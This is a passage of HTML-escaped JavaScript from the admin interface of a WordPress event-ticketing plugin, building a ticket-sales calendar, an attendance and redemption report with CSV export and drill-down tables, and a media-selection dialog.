		autoRefreshSelect.append(&#039;&lt;option value=&quot;0&quot;&gt;&#039; + __(&#039;Off&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/option&gt;&#039;);
		autoRefreshSelect.append(&#039;&lt;option value=&quot;10&quot;&gt;10s&lt;/option&gt;&#039;);
		autoRefreshSelect.append(&#039;&lt;option value=&quot;30&quot;&gt;30s&lt;/option&gt;&#039;);
		autoRefreshSelect.append(&#039;&lt;option value=&quot;60&quot;&gt;1 min&lt;/option&gt;&#039;);
		autoRefreshSelect.append(&#039;&lt;option value=&quot;300&quot;&gt;5 min&lt;/option&gt;&#039;);
		let autoRefreshTimer = null;
		let autoRefreshCountdown = $(&#039;&lt;span style=&quot;font-size:11px;color:#999;min-width:30px;&quot;&gt;&#039;).appendTo(autoRefreshDiv);

		function startAutoRefresh() {
			stopAutoRefresh();
			let interval = parseInt(autoRefreshSelect.val());
			if (interval &lt;= 0) { autoRefreshCountdown.text(&#039;&#039;); return; }
			let remaining = interval;
			autoRefreshCountdown.text(remaining + &#039;s&#039;);
			autoRefreshTimer = setInterval(function() {
				remaining--;
				if (remaining &lt;= 0) {
					loadCalendar();
					remaining = interval;
				}
				autoRefreshCountdown.text(remaining + &#039;s&#039;);
			}, 1000);
		}
		function stopAutoRefresh() {
			if (autoRefreshTimer) { clearInterval(autoRefreshTimer); autoRefreshTimer = null; }
			autoRefreshCountdown.text(&#039;&#039;);
		}
		autoRefreshSelect.on(&#039;change&#039;, startAutoRefresh);

		let calRow = $(&#039;&lt;div style=&quot;display:grid;grid-template-columns:1fr 1fr;gap:16px;align-items:start;&quot;&gt;&#039;).appendTo(calCard);
		let calendarDiv = $(&#039;&lt;div&gt;&#039;).appendTo(calRow);
		let detailDiv = $(&#039;&lt;div&gt;&#039;).appendTo(calRow);

		function getExcluded() {
			let excluded = [];
			productCheckboxes.find(&#039;input:not(:checked)&#039;).each(function() { excluded.push($(this).val()); });
			return excluded;
		}

		function loadCalendar() {
			let monthNames = [
				__(&#039;January&#039;), __(&#039;February&#039;), __(&#039;March&#039;), __(&#039;April&#039;),
				__(&#039;May&#039;), __(&#039;June&#039;), __(&#039;July&#039;), __(&#039;August&#039;),
				__(&#039;September&#039;), __(&#039;October&#039;), __(&#039;November&#039;), __(&#039;December&#039;)
			];
			monthLabel.text(monthNames[calMonth] + &#039; &#039; + calYear);
			calendarDiv.html(_getSpinnerHTML());
			detailDiv.html(&#039;&#039;);

			let first = calYear + &#039;-&#039; + String(calMonth + 1).padStart(2, &#039;0&#039;) + &#039;-01&#039;;
			let last = calYear + &#039;-&#039; + String(calMonth + 1).padStart(2, &#039;0&#039;) + &#039;-&#039; + String(new Date(calYear, calMonth + 1, 0).getDate()).padStart(2, &#039;0&#039;);

			_makeGet(&#039;getAllDaychooserCalendarData&#039;, {
				date_from: first,
				date_to: last,
				exclude_products: getExcluded().join(&#039;,&#039;)
			}, function(data) {
				renderCalendarGrid(calendarDiv, detailDiv, data);
			}, function() {
				calendarDiv.html(&#039;&lt;p style=&quot;color:red;&quot;&gt;&#039; + __(&#039;Error loading data.&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/p&gt;&#039;);
			});
		}

		btnPrev.on(&#039;click&#039;, function() { calMonth--; if (calMonth &lt; 0) { calMonth = 11; calYear--; } loadCalendar(); });
		btnNext.on(&#039;click&#039;, function() { calMonth++; if (calMonth &gt; 11) { calMonth = 0; calYear++; } loadCalendar(); });
		btnRefresh.on(&#039;click&#039;, loadCalendar);

		// Load product list, then load calendar
		_makeGet(&#039;getAllDaychooserCalendarData&#039;, {date_from: &#039;2099-01-01&#039;, date_to: &#039;2099-01-01&#039;}, function(data) {
			if (data.products) {
				data.products.forEach(function(p) {
					let lbl = $(&#039;&lt;label style=&quot;font-size:13px;cursor:pointer;&quot;&gt;&#039;);
					let cb = $(&#039;&lt;input type=&quot;checkbox&quot; value=&quot;&#039; + p.id + &#039;&quot; checked&gt;&#039;);
					lbl.append(cb).append(&#039; &#039; + p.name);
					productCheckboxes.append(lbl);
				});
			}
			loadCalendar();
		});
	}

	function renderCalendarGrid(calendarDiv, detailDiv, data) {
		let allDates = data.dates || {};
		let dateFrom = data.date_from;
		let dateTo = data.date_to;

		let startD = new Date(dateFrom + &#039;T00:00:00&#039;);
		let endD = new Date(dateTo + &#039;T00:00:00&#039;);
		let currentMonth = {year: startD.getFullYear(), month: startD.getMonth()};
		let endMonth = {year: endD.getFullYear(), month: endD.getMonth()};

		let monthNames = [
			__(&#039;January&#039;, &#039;event-tickets-with-ticket-scanner&#039;), __(&#039;February&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			__(&#039;March&#039;, &#039;event-tickets-with-ticket-scanner&#039;), __(&#039;April&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			__(&#039;May&#039;, &#039;event-tickets-with-ticket-scanner&#039;), __(&#039;June&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			__(&#039;July&#039;, &#039;event-tickets-with-ticket-scanner&#039;), __(&#039;August&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			__(&#039;September&#039;, &#039;event-tickets-with-ticket-scanner&#039;), __(&#039;October&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			__(&#039;November&#039;, &#039;event-tickets-with-ticket-scanner&#039;), __(&#039;December&#039;, &#039;event-tickets-with-ticket-scanner&#039;)
		];
		let dayHeaders = [
			__(&#039;Mon&#039;, &#039;event-tickets-with-ticket-scanner&#039;), __(&#039;Tue&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			__(&#039;Wed&#039;, &#039;event-tickets-with-ticket-scanner&#039;), __(&#039;Thu&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			__(&#039;Fri&#039;, &#039;event-tickets-with-ticket-scanner&#039;), __(&#039;Sat&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			__(&#039;Sun&#039;, &#039;event-tickets-with-ticket-scanner&#039;)
		];

		let $wrapper = $(&#039;&lt;div&gt;&#039;);
		let grandTotal = 0;

		// Render each month in the range
		while (currentMonth.year &lt; endMonth.year || (currentMonth.year === endMonth.year &amp;&amp; currentMonth.month &lt;= endMonth.month)) {
			let year = currentMonth.year;
			let month = currentMonth.month;

			let $monthBlock = $(&#039;&lt;div style=&quot;margin-bottom:24px;&quot;&gt;&#039;);
			$monthBlock.append(&#039;&lt;h4 style=&quot;margin:0 0 8px;&quot;&gt;&#039; + monthNames[month] + &#039; &#039; + year + &#039;&lt;/h4&gt;&#039;);

			let $table = $(&#039;&lt;table class=&quot;widefat&quot; style=&quot;table-layout:fixed;text-align:center;&quot;&gt;&#039;);
			let $thead = $(&#039;&lt;thead&gt;&lt;tr&gt;&lt;/tr&gt;&lt;/thead&gt;&#039;);
			for (let i = 0; i &lt; 7; i++) {
				$thead.find(&#039;tr&#039;).append(&#039;&lt;th style=&quot;text-align:center;padding:4px;&quot;&gt;&#039; + dayHeaders[i] + &#039;&lt;/th&gt;&#039;);
			}
			$table.append($thead);

			let $tbody = $(&#039;&lt;tbody&gt;&#039;);
			let firstDay = new Date(year, month, 1).getDay();
			let startOffset = (firstDay === 0 ? 6 : firstDay - 1);
			let daysInMonth = new Date(year, month + 1, 0).getDate();
			let day = 1;

			for (let row = 0; row &lt; 6 &amp;&amp; day &lt;= daysInMonth; row++) {
				let $tr = $(&#039;&lt;tr&gt;&#039;);
				for (let col = 0; col &lt; 7; col++) {
					if ((row === 0 &amp;&amp; col &lt; startOffset) || day &gt; daysInMonth) {
						$tr.append(&#039;&lt;td style=&quot;padding:4px;&quot;&gt;&lt;/td&gt;&#039;);
					} else {
						let dateStr = year + &#039;-&#039; + String(month + 1).padStart(2, &#039;0&#039;) + &#039;-&#039; + String(day).padStart(2, &#039;0&#039;);
						let dayData = allDates[dateStr] || [];
						let dayTotal = 0;
						dayData.forEach(function(d) { dayTotal += d.count; });
						grandTotal += dayTotal;

						let $td = $(&#039;&lt;td style=&quot;padding:4px;position:relative;vertical-align:top;height:45px;&quot;&gt;&#039;);
						$td.append(&#039;&lt;div style=&quot;font-size:11px;color:#666;&quot;&gt;&#039; + day + &#039;&lt;/div&gt;&#039;);
						if (dayTotal &gt; 0) {
							let $badge = $(&#039;&lt;div style=&quot;font-weight:bold;color:#0073aa;cursor:pointer;&quot;&gt;&#039; + dayTotal + &#039;&lt;/div&gt;&#039;);
							$badge.data(&#039;cal-date&#039;, dateStr);
							$badge.data(&#039;cal-products&#039;, dayData);
							$badge.on(&#039;click&#039;, function(e) {
								e.preventDefault();
								let ds = $(this).data(&#039;cal-date&#039;);
								let dd = $(this).data(&#039;cal-products&#039;);

								detailDiv.html(&#039;&lt;h4 style=&quot;margin:0 0 8px;&quot;&gt;&#039; + sprintf(__(&#039;Tickets for %s&#039;, &#039;event-tickets-with-ticket-scanner&#039;), ds) + &#039;&lt;/h4&gt;&#039; + _getSpinnerHTML());

								// Load details for each product
								let promises = dd.map(function(p) {
									return new Promise(function(resolve) {
										_makeGet(&#039;getProductCalendarDetails&#039;, {product_id: p.product_id, date: ds}, function(tickets) {
											resolve({product: p, tickets: tickets || []});
										}, function() {
											resolve({product: p, tickets: []});
										});
									});
								});

								Promise.all(promises).then(function(results) {
									let $detail = $(&#039;&lt;div&gt;&#039;);
									$detail.append(&#039;&lt;h4 style=&quot;margin:0 0 8px;&quot;&gt;&#039; + sprintf(__(&#039;Tickets for %s&#039;, &#039;event-tickets-with-ticket-scanner&#039;), ds) + &#039;&lt;/h4&gt;&#039;);

									results.forEach(function(r) {
										$detail.append(&#039;&lt;strong&gt;&#039; + r.product.product_name + &#039; (&#039; + r.product.count + &#039;)&lt;/strong&gt;&#039;);
										if (r.tickets.length === 0) {
											$detail.append(&#039;&lt;p&gt;&lt;em&gt;&#039; + __(&#039;No details available.&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/em&gt;&lt;/p&gt;&#039;);
											return;
										}
										let $table = $(&#039;&lt;table class=&quot;widefat striped&quot; style=&quot;margin:4px 0 16px;&quot;&gt;&#039;);
										$table.append(&#039;&lt;thead&gt;&lt;tr&gt;&#039;
											+ &#039;&lt;th&gt;&#039; + __(&#039;Ticket&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/th&gt;&#039;
											+ &#039;&lt;th&gt;&#039; + __(&#039;Order&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/th&gt;&#039;
											+ &#039;&lt;th&gt;&#039; + __(&#039;Status&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/th&gt;&#039;
											+ &#039;&lt;/tr&gt;&lt;/thead&gt;&#039;);
										let $tbody = $(&#039;&lt;tbody&gt;&#039;);
										r.tickets.forEach(function(t) {
											let ticketHtml = t.code_display;
											let orderHtml = t.order_id &gt; 0
												? &#039;&lt;a href=&quot;post.php?post=&#039; + t.order_id + &#039;&amp;action=edit&quot; target=&quot;_blank&quot;&gt;#&#039; + t.order_id + &#039;&lt;/a&gt;&#039;
												: &#039;-&#039;;
											let statusText = t.redeemed ? __(&#039;Redeemed&#039;, &#039;event-tickets-with-ticket-scanner&#039;) : __(&#039;Active&#039;, &#039;event-tickets-with-ticket-scanner&#039;);
											let statusColor = t.redeemed ? &#039;#d63638&#039; : &#039;#00a32a&#039;;
											$tbody.append(&#039;&lt;tr&gt;&lt;td&gt;&#039; + ticketHtml + &#039;&lt;/td&gt;&lt;td&gt;&#039; + orderHtml + &#039;&lt;/td&gt;&lt;td style=&quot;color:&#039; + statusColor + &#039;;&quot;&gt;&#039; + statusText + &#039;&lt;/td&gt;&lt;/tr&gt;&#039;);
										});
										$table.append($tbody);
										$detail.append($table);
									});
									detailDiv.empty().append($detail);
								});
							});
							$td.append($badge);
							$td.css(&#039;background&#039;, &#039;#f0f7ff&#039;);
						}
						$tr.append($td);
						day++;
					}
				}
				$tbody.append($tr);
			}
			$table.append($tbody);
			$monthBlock.append($table);
			$wrapper.append($monthBlock);

			// Next month
			currentMonth.month++;
			if (currentMonth.month &gt; 11) { currentMonth.month = 0; currentMonth.year++; }
		}

		let totalText = grandTotal &gt; 0
			? sprintf(__(&#039;Total sold: %d tickets&#039;, &#039;event-tickets-with-ticket-scanner&#039;), grandTotal)
			: __(&#039;No tickets found for this month.&#039;, &#039;event-tickets-with-ticket-scanner&#039;);
		$wrapper.append(&#039;&lt;div style=&quot;margin-top:8px;font-size:12px;color:#666;&quot;&gt;&#039; + totalText + &#039;&lt;/div&gt;&#039;);

		calendarDiv.empty().append($wrapper);
	}

	function _buildRedemptionTab(container) {

		// Date range filter + Export button
		let today = new Date().toISOString().split(&#039;T&#039;)[0];
		let div_filters = $(&#039;&lt;div class=&quot;et-card&quot;/&gt;&#039;).css({&#039;display&#039;:&#039;flex&#039;,&#039;gap&#039;:&#039;15px&#039;,&#039;align-items&#039;:&#039;flex-end&#039;,&#039;flex-wrap&#039;:&#039;wrap&#039;}).appendTo(container);

		let div_from = _createDivInput(_x(&#039;From&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(div_filters);
		let input_from = $(&#039;&lt;input type=&quot;date&quot;/&gt;&#039;).val(today).css(&#039;padding&#039;,&#039;4px 8px&#039;).appendTo(div_from);

		let div_to = _createDivInput(_x(&#039;To&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(div_filters);
		let input_to = $(&#039;&lt;input type=&quot;date&quot;/&gt;&#039;).val(today).css(&#039;padding&#039;,&#039;4px 8px&#039;).appendTo(div_to);

		let btn_load = $(&#039;&lt;button/&gt;&#039;).addClass(&quot;button-primary&quot;).css({&#039;margin-bottom&#039;:&#039;15px&#039;}).html(_x(&#039;Load&#039;, &#039;button&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(div_filters);

		let btn_export = $(&#039;&lt;button/&gt;&#039;).addClass(&quot;button-secondary&quot;).css({&#039;margin-bottom&#039;:&#039;15px&#039;,&#039;margin-left&#039;:&#039;5px&#039;}).html(&#039;&lt;span class=&quot;dashicons dashicons-download&quot; style=&quot;vertical-align:middle;margin-right:2px;&quot;&gt;&lt;/span&gt;&#039; + _x(&#039;Export CSV&#039;, &#039;button&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(div_filters);
		btn_export.on(&quot;click&quot;, function() {
			let df = input_from.val(), dt = input_to.val();
			if (!df || !dt) return;
			window.open(_requestURL(&#039;downloadRedemptionSummary&#039;, {date_from: df, date_to: dt}), &#039;_blank&#039;);
		});

		// Summary cards
		let div_summary = $(&#039;&lt;div/&gt;&#039;).css({&#039;display&#039;:&#039;flex&#039;,&#039;gap&#039;:&#039;20px&#039;,&#039;margin-bottom&#039;:&#039;15px&#039;}).appendTo(container);
		let cardStyle = {&#039;padding&#039;:&#039;15px&#039;,&#039;background&#039;:&#039;white&#039;,&#039;border-radius&#039;:&#039;5px&#039;,&#039;flex&#039;:&#039;1&#039;,&#039;text-align&#039;:&#039;center&#039;,&#039;border&#039;:&#039;1px solid #c3c4c7&#039;};
		let card_redeemed = $(&#039;&lt;div/&gt;&#039;).css(cardStyle).appendTo(div_summary);
		let card_total = $(&#039;&lt;div/&gt;&#039;).css(cardStyle).appendTo(div_summary);
		let card_noshow = $(&#039;&lt;div/&gt;&#039;).css(cardStyle).appendTo(div_summary);

		// Table area
		let div_table = $(&#039;&lt;div/&gt;&#039;).css({&#039;background&#039;:&#039;white&#039;,&#039;padding&#039;:&#039;15px&#039;,&#039;border-radius&#039;:&#039;5px&#039;,&#039;border&#039;:&#039;1px solid #c3c4c7&#039;}).appendTo(container);

		let tabelle_attendance_datatable = null;

		function __loadData() {
			let date_from = input_from.val();
			let date_to = input_to.val();
			if (!date_from || !date_to) return;

			div_table.html(_getSpinnerHTML());
			card_redeemed.html(&#039;...&#039;);
			card_total.html(&#039;...&#039;);
			card_noshow.html(&#039;...&#039;);

			_makeGet(&#039;getRedemptionSummary&#039;, {date_from: date_from, date_to: date_to}, function(data) {
				// Summary cards
				card_redeemed.html(
					&#039;&lt;h2 style=&quot;margin:0;color:#2e74b5;&quot;&gt;&#039; + data.summary.total_redeemed + &#039;&lt;/h2&gt;&#039; +
					&#039;&lt;p style=&quot;margin:5px 0 0;&quot;&gt;&#039; + _x(&#039;Redeemed&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/p&gt;&#039;
				);
				card_total.html(
					&#039;&lt;h2 style=&quot;margin:0;color:#666;&quot;&gt;&#039; + data.summary.total_codes + &#039;&lt;/h2&gt;&#039; +
					&#039;&lt;p style=&quot;margin:5px 0 0;&quot;&gt;&#039; + _x(&#039;Total Tickets&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/p&gt;&#039;
				);
				card_noshow.html(
					&#039;&lt;h2 style=&quot;margin:0;color:#d63638;&quot;&gt;&#039; + data.summary.total_no_show + &#039;&lt;/h2&gt;&#039; +
					&#039;&lt;p style=&quot;margin:5px 0 0;&quot;&gt;&#039; + _x(&#039;No Show&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/p&gt;&#039;
				);

				// Build DataTable
				let table_id = myAjax.divPrefix + &#039;_tabelle_attendance&#039;;
				let tabelle = $(&#039;&lt;table/&gt;&#039;).attr(&quot;id&quot;, table_id);
				tabelle.html(
					&#039;&lt;thead&gt;&lt;tr&gt;&#039; +
					&#039;&lt;th&gt;&lt;/th&gt;&#039; +
					&#039;&lt;th&gt;&#039; + _x(&#039;Date&#039;, &#039;column&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/th&gt;&#039; +
					&#039;&lt;th&gt;&#039; + _x(&#039;Event / List&#039;, &#039;column&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/th&gt;&#039; +
					&#039;&lt;th&gt;&#039; + _x(&#039;Product&#039;, &#039;column&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/th&gt;&#039; +
					&#039;&lt;th&gt;&#039; + _x(&#039;Redeemed&#039;, &#039;column&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/th&gt;&#039; +
					&#039;&lt;th&gt;&#039; + _x(&#039;Total in List&#039;, &#039;column&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/th&gt;&#039; +
					&#039;&lt;th&gt;&#039; + _x(&#039;No Show&#039;, &#039;column&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/th&gt;&#039; +
					&#039;&lt;/tr&gt;&lt;/thead&gt;&#039; +
					&#039;&lt;tfoot&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/tfoot&gt;&#039;
				);
				div_table.html(tabelle);

				if (tabelle_attendance_datatable) {
					try { tabelle_attendance_datatable.destroy(); } catch(e) {}
				}

				tabelle_attendance_datatable = $(&#039;#&#039; + table_id).DataTable({
					&quot;responsive&quot;: true,
					&quot;searching&quot;: true,
					&quot;ordering&quot;: true,
					&quot;processing&quot;: false,
					&quot;serverSide&quot;: false,
					&quot;stateSave&quot;: false,
					&quot;paging&quot;: data.rows.length &gt; 25,
					&quot;pageLength&quot;: 25,
					&quot;data&quot;: data.rows,
					&quot;order&quot;: [[1, &quot;desc&quot;], [2, &quot;asc&quot;]],
					&quot;columns&quot;: [
						{&quot;data&quot;: null, &quot;className&quot;: &quot;details-control&quot;, &quot;orderable&quot;: false, &quot;defaultContent&quot;: &quot;&quot;, &quot;width&quot;: 10},
						{&quot;data&quot;: &quot;date&quot;, &quot;orderable&quot;: true},
						{&quot;data&quot;: &quot;list_name&quot;, &quot;orderable&quot;: true, &quot;render&quot;: function(d){ return d || &#039;-&#039;; }},
						{&quot;data&quot;: &quot;product_name&quot;, &quot;orderable&quot;: true, &quot;render&quot;: function(d, type, row){
							return row.product_id &gt; 0 ? d + &#039; &lt;small&gt;(#&#039; + row.product_id + &#039;)&lt;/small&gt;&#039; : (d || &#039;-&#039;);
						}},
						{&quot;data&quot;: &quot;redeemed_count&quot;, &quot;orderable&quot;: true, &quot;className&quot;: &quot;dt-right&quot;},
						{&quot;data&quot;: &quot;total_in_list&quot;, &quot;orderable&quot;: true, &quot;className&quot;: &quot;dt-right&quot;},
						{&quot;data&quot;: &quot;no_show_count&quot;, &quot;orderable&quot;: true, &quot;className&quot;: &quot;dt-right&quot;}
					],
					&quot;footerCallback&quot;: function() {
						let api = this.api();
						let sumRedeemed = api.column(4).data().reduce(function(a, b){ return a + b; }, 0);
						let sumTotal = api.column(5).data().reduce(function(a, b){ return a + b; }, 0);
						let sumNoShow = api.column(6).data().reduce(function(a, b){ return a + b; }, 0);
						$(api.column(0).footer()).html(&#039;&#039;);
						$(api.column(1).footer()).html(&#039;&lt;b&gt;&#039; + _x(&#039;Total&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/b&gt;&#039;);
						$(api.column(2).footer()).html(&#039;&#039;);
						$(api.column(3).footer()).html(&#039;&#039;);
						$(api.column(4).footer()).html(&#039;&lt;b&gt;&#039; + sumRedeemed + &#039;&lt;/b&gt;&#039;);
						$(api.column(5).footer()).html(&#039;&lt;b&gt;&#039; + sumTotal + &#039;&lt;/b&gt;&#039;);
						$(api.column(6).footer()).html(&#039;&lt;b&gt;&#039; + sumNoShow + &#039;&lt;/b&gt;&#039;);
					}
				});
				tabelle.css(&quot;width&quot;, &quot;100%&quot;);

				// Drill-down: click details-control to show individual codes
				$(&#039;#&#039; + table_id + &#039; tbody&#039;).on(&#039;click&#039;, &#039;td.details-control&#039;, function() {
					let tr = $(this).closest(&#039;tr&#039;);
					let row = tabelle_attendance_datatable.row(tr);
					if (row.child.isShown()) {
						row.child.hide();
						tr.removeClass(&#039;shown&#039;);
					} else {
						let d = row.data();
						let childDiv = $(&#039;&lt;div/&gt;&#039;).css(&#039;padding&#039;, &#039;5px 10px&#039;).html(_getSpinnerHTML());
						row.child(childDiv).show();
						tr.addClass(&#039;shown&#039;);

						_makeGet(&#039;getRedemptionDetails&#039;, {date: d.date, list_id: d.list_id}, function(details) {
							if (!details || details.length === 0) {
								childDiv.html(&#039;&lt;p&gt;&lt;i&gt;&#039; + _x(&#039;No individual ticket data available.&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/i&gt;&lt;/p&gt;&#039;);
								return;
							}
							let html = &#039;&lt;table class=&quot;widefat striped&quot; style=&quot;margin:5px 0;&quot;&gt;&#039; +
								&#039;&lt;thead&gt;&lt;tr&gt;&#039; +
								&#039;&lt;th&gt;&#039; + _x(&#039;Ticket&#039;, &#039;column&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/th&gt;&#039; +
								&#039;&lt;th&gt;&#039; + _x(&#039;Order&#039;, &#039;column&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/th&gt;&#039; +
								&#039;&lt;th&gt;&#039; + _x(&#039;Redeemed At&#039;, &#039;column&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/th&gt;&#039; +
								&#039;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&#039;;
							for (let i = 0; i &lt; details.length; i++) {
								let item = details[i];
								let orderLink = item.order_id &gt; 0
									? &#039;#&#039; + item.order_id + &#039; &lt;a target=&quot;_blank&quot; href=&quot;post.php?post=&#039; + item.order_id + &#039;&amp;action=edit&quot;&gt;&#039; + _x(&#039;View&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/a&gt;&#039;
									: &#039;-&#039;;
								html += &#039;&lt;tr&gt;&lt;td&gt;&#039; + item.code_display + &#039;&lt;/td&gt;&lt;td&gt;&#039; + orderLink + &#039;&lt;/td&gt;&lt;td&gt;&#039; + item.redeemed_time + &#039;&lt;/td&gt;&lt;/tr&gt;&#039;;
							}
							html += &#039;&lt;/tbody&gt;&lt;/table&gt;&#039;;
							childDiv.html(html);
						}, function() {
							childDiv.html(&#039;&lt;p style=&quot;color:red;&quot;&gt;&#039; + _x(&#039;Error loading details.&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/p&gt;&#039;);
						});
					}
				});
			}, function(response) {
				div_table.html(&#039;&lt;p style=&quot;color:red;&quot;&gt;&#039; + (response.data || _x(&#039;Error loading data.&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)) + &#039;&lt;/p&gt;&#039;);
				card_redeemed.html(&#039;-&#039;);
				card_total.html(&#039;-&#039;);
				card_noshow.html(&#039;-&#039;);
			});
		}

		btn_load.on(&quot;click&quot;, __loadData);
		__loadData();
	}

	// ── End Attendance ──

	function getSuffixFromFilename(filename) {
		let extension = filename.slice(filename.lastIndexOf(&#039;.&#039;) + 1);
		return extension;
	}
	function _renderMedia(mediaId, v, image_info, image, image_btn_del) {
		if (mediaId != &quot;&quot; &amp;&amp; parseInt(mediaId) != 0) {
			_getMediaData(mediaId, data=&gt;{
				let suffix = getSuffixFromFilename(data.url.replace(/^.*[\\\/]/,&#039;&#039;)).toLowerCase();
				let info = suffix != &quot;pdf&quot; ? &#039;(&#039;+data.meta.width+&#039;x&#039;+data.meta.height+&#039;)&#039; : &#039;&#039;;
				image_info.html(&#039;&lt;b&gt;&#039;+_x(&#039;Title&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;:&lt;/b&gt; &#039;+data.title+&#039; &#039;+info);
				if (v.additional.max &amp;&amp; v.additional.msg_error_max) {
					if (v.additional.max.width &amp;&amp; v.additional.msg_error_max.width &amp;&amp; data.meta.width &gt; v.additional.max.width) image_info.append(&#039;&lt;div style=&quot;color:red;&quot;&gt;&#039;+v.additional.msg_error_max.width+&#039;&lt;/div&gt;&#039;);
					if (v.additional.max.height &amp;&amp; v.additional.msg_error_max.height &amp;&amp; data.meta.height &gt; v.additional.max.height) image_info.append(&#039;&lt;div style=&quot;color:red;&quot;&gt;&#039;+v.additional.msg_error_max.height+&#039;&lt;/div&gt;&#039;);
				}
				if (suffix != &quot;pdf&quot;) {
					image.attr(&quot;src&quot;, data.url).css(&quot;display&quot;,&quot;block&quot;);
				}
				image_btn_del.css(&quot;display&quot;, &quot;block&quot;);
			});
		} else {
			image_info.html(&quot;&quot;);
			image.css(&quot;display&quot;, &quot;none&quot;);
			image_btn_del.css(&quot;display&quot;, &quot;none&quot;);
		}
	}
	function _openMediaChooser(input_elem, multiple, imgContainer, typeFilter) {
		var image_frame;
 		if(image_frame){
     		image_frame.open();
		}
		if (!typeFilter) typeFilter = &#039;image&#039;;
		multiple ? multiple = true : multiple = false;
        // Define image_frame as wp.media object
		image_frame = wp.media({
			title: _x(&#039;Select Media&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
            multiple : multiple,
			library : {
            	type : typeFilter,
			}
		});

		image_frame.on(&#039;close&#039;,function() {
			// On close, get selections and save to the hidden input
			// plus other AJAX stuff to refresh the image preview
			var selection =  image_frame.state().get(&#039;selection&#039;);

			if (imgContainer) { // zeige erstes bild an
				var attachment = selection.first().toJSON();
				imgContainer.html( &#039;&lt;img src=&quot;&#039;+attachment.url+&#039;&quot; style=&quot;max-width:100%;&quot;/&gt;&#039; );
			}

			var gallery_ids = new Array();
			var my_index = 0;
			selection.each(function(attachment) {
				gallery_ids[my_index] = attachment[&#039;id&#039;];
				my_index++;
			});
			var ids = gallery_ids.join(&quot;,&quot;);
			input_elem.val(ids);
			input_elem.trigger(&quot;change&quot;);
   		});

		image_frame.on(&#039;open&#039;,function() {
			// On open, get the id from the hidden input
			// and select the appropiate images in the media manager
			var selection =  image_frame.state().get(&#039;selection&#039;);
			var ids = input_elem.val().split(&#039;,&#039;);
			ids.forEach(function(id) {
				var attachment = wp.media.attachment(id);
				attachment.fetch();
				selection.add( attachment ? [ attachment ] : [] );
			});
		});
		image_frame.open();
	} // ende openmediachooser

	function getBackButtonDiv() {
		let div_buttons = $(&#039;&lt;div class=&quot;event-tickets-with-ticket-scanner-topbar&quot;&gt;&#039;);
		let div = $(&#039;&lt;div/&gt;&#039;).addClass(&quot;event-tickets-with-ticket-scanner-topbar-left&quot;).append(
			$(&#039;&lt;button /&gt;&#039;)
				.addClass(&quot;event-tickets-with-ticket-scanner-back-btn&quot;)
				.html(&#039;&lt;span class=&quot;event-tickets-with-ticket-scanner-back-icon&quot;&gt;&amp;lt;&lt;/span&gt; &#039; + _x(&#039;Back&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;))
				.on(&quot;click&quot;, ()=&gt;{ LAYOUT.renderAdminPageLayout(); }
			)
		);
		div_buttons.append(div);
		div_buttons.append(_displaySettingAreaButton());
		return div_buttons;
	}

	function _getTicketScannerURL() {
		let url = _getOptions_Infos_getByKey(&#039;ticket&#039;).ticket_scanner_path;
		let _urlpath = _getOptions_getValByKey(&quot;wcTicketCompatibilityModeURLPath&quot;);
		if (_urlpath != &quot;&quot;) {
			url = OPTIONS.infos.site.home+&quot;/&quot;+_urlpath+&#039;/scanner/?code=&#039;;
		} else {
			url = OPTIONS.infos.ticket.ticket_scanner_url;
		}
		return url;
	}
	function _displaySettingAreaButton() {
		let btn_grp = $(&#039;&lt;nav id=&quot;topMenu&quot;/&gt;&#039;)
			.addClass(&quot;event-tickets-with-ticket-scanner-topmenu&quot;)
